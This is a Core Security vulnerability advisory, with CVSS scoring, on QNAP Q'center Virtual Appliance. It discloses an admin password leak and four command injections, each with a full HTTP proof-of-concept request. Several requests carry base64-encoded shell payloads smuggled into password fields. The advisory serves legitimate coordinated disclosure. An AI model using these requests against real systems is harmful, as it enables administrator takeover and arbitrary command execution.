CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
96.1%
**Title:**QNAP Qβcenter Virtual Appliance Multiple Vulnerabilities
**Advisory ID:**CORE-2018-0006
Advisory URL:<https://www.coresecurity.com/core-labs/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities>
**Date published:**2018-07-11
**Date of last update:**2018-07-11
**Vendors contacted:**QNAP
**Release mode:**Coordinated release
**Class:**Information Exposure [CWE-200], Command Injection [CWE-77], Command Injection [CWE-77], Command Injection [CWE-77], Command Injection [CWE-77]
**Impact:**Code execution
**Remotely Exploitable:**Yes
**Locally Exploitable:**Yes
CVE Name:CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709, CVE-2018-0710
QNAPβs website states that:
[1] Qβcenter Virtual Appliance is a central management platform that enables you to consolidate the management of multiple QNAP NAS. The Qβcenter web interface gives you the ease-of-use, cost-efficiency, convenience and flexibility to manage multiple NAS, across multiple sites, from any internet browser.
The platformβs provides centralized web-based administration to manage the following features:
Multiple vulnerabilities were found in the Qβcenter Virtual Appliance web console that would allow an attacker to execute arbitrary commands on the system.
Other products and versions might be affected, but they were not tested.
QNAP published the following Security Note:
These vulnerabilities were discovered and researched by Ivan Huertas from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.
QNAPβs Qβcenter Virtual Appliance web console includes a functionality that would allow an authenticated attacker to elevate privileges on the system. We describe this issue in section 7.1.
Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command execution.
[CVE-2018-0706] The application contains an API endpoint that returns information about the accounts defined in the database. The information returned is informative for all the users except for the admin user, which cames with every installation, where an extra field is presented. This extra field (new_password) contains the password defined at installation time for the admin user encoded in base64.
Any authenticated user could access this API endpoint and retrieve the admin userβs password, therefore being able to login as an administrator.
The following proof of concept shows a user with viewer access retrieving the adminβs password encoded in base64 in the new_password field.
GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432; _ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false Connection: close HTTP/1.1 200 OK Date: Thu, 01 Mar 2018 19:23:43 GMT Server: Apache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: application/json Content-Length: 878 Connection: close { "total_count": 2, "account": [ { "dst_enable": false, "name": "admin", "default": true, "new_password": "YWRtaW5pc3RyYWRvcg==", "authentication": 0, "create_time": { "$date": 1519917983616 }, "role": 4294967295, "timezone_code": 17, "last_login": { "$date": 1519929869797 }, "_id": "5a981b9f3af7e2030c883592", "email": "", "description": "administrator" }, { "dst_enable": false, "name": "viewer", "register_code": "", "authentication": 0, "create_time": { "$date": 1519929122332 }, "role": 1082130432, "timezone_code": 17, "last_login": { "$date": 1519932215818 }, "_id": "5a9847223af7e2034924e7b6", "email": "", "description": "" } ] }
As can be seen in the following excerpt, the decoded base64 data corresponds to the plaintext administrator password set at installation time.
$ echo YWRtaW5pc3RyYWRvcg== | base64 -d administrador
[CVE-2018-0707] When the admin user performs a password change, the application executes an OS command to impact the changes. The input is not properly sanitized when passed down to the OS, allowing an attacker to run arbitrary commands.
POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1 Host: 192.168.1.209 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.209/qcenter/ Content-Length: 118 Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295; _ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false Connection: close {"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="}
The API requires to send the password encoded in base64. This makes a lot easier to inject command as we do not need to bypass any filters. For the admin user in the web application, there is also a backing user present on the OS. When a password change is requested for this user, the values submitted to the API are included in a βsudo passwdβ command, where the injection occurs.
In this particular case, the old_password must match the current password, which can be obtained by exploiting [CVE-2018-0706].
[CVE-2018-0708] The admin user created at installation time can modify the network configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability described above). However, we identified that a user with the Power User profile could also execute this function, despite access not being provided through the web application interface. This function requires to send the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the network settings. We used the passwd field to inject command (";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/.
POST /qcenter/hawkeye/v1/network_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Content-Length: 87 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"}
The passwd parameter is used in bash echo command unsanitized.
[CVE-2018-0709] The admin user created at installation time is capable of modifying the date configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability described above). However, we identified that a user with the Power User profile could execute this function, despite the access is not provided through the web application interface. This function requires to submit the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the date configuration settings. We used the passwd field to inject command (";touch /tmp/date_config;echo"lalala) and create a file in /tmp/.
POST /qcenter/hawkeye/v1/date_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Content-Length: 153 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"listValue":18,"type":"1","datefield":1518663600000,"passwd":"Ijt0b3VjaCAvdG1wL2RhdGVfY29uZmlnO2VjaG8ibGFsYWxh","date":"20180215","time":"16:40:31"}
The passwd parameter is used in bash echo command unsanitized.
[CVE-2018-0710] The admin user created at installation time is capable of modifying the SSH configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability). However, we identified that a user with the Power User profile could execute this function, despite the access is not provided through the web application interface. This function requires to submit the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the date configuration settings. We used the passwd field to inject command (ββ;touch /tmp/ssh; echo "lalalala) and create a file in /tmp/.
POST /qcenter/hawkeye/v1/ssh_setting_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Content-Length: 82 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"ssh_enable":1,"port":22,"passwd":"Ijt0b3VjaCAvdG1wL3NzaDsgZWNobyAibGFsYWxhbGE="}
The passwd parameter is used in bash echo command unsanitized.
[1] <https://www.qnap.com/solution/qcenter/index.php>
CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at <https://www.coresecurity.com/core-labs>.
Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].
The contents of this advisory are copyright Β© 2018 Core Security and Β© 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
96.1%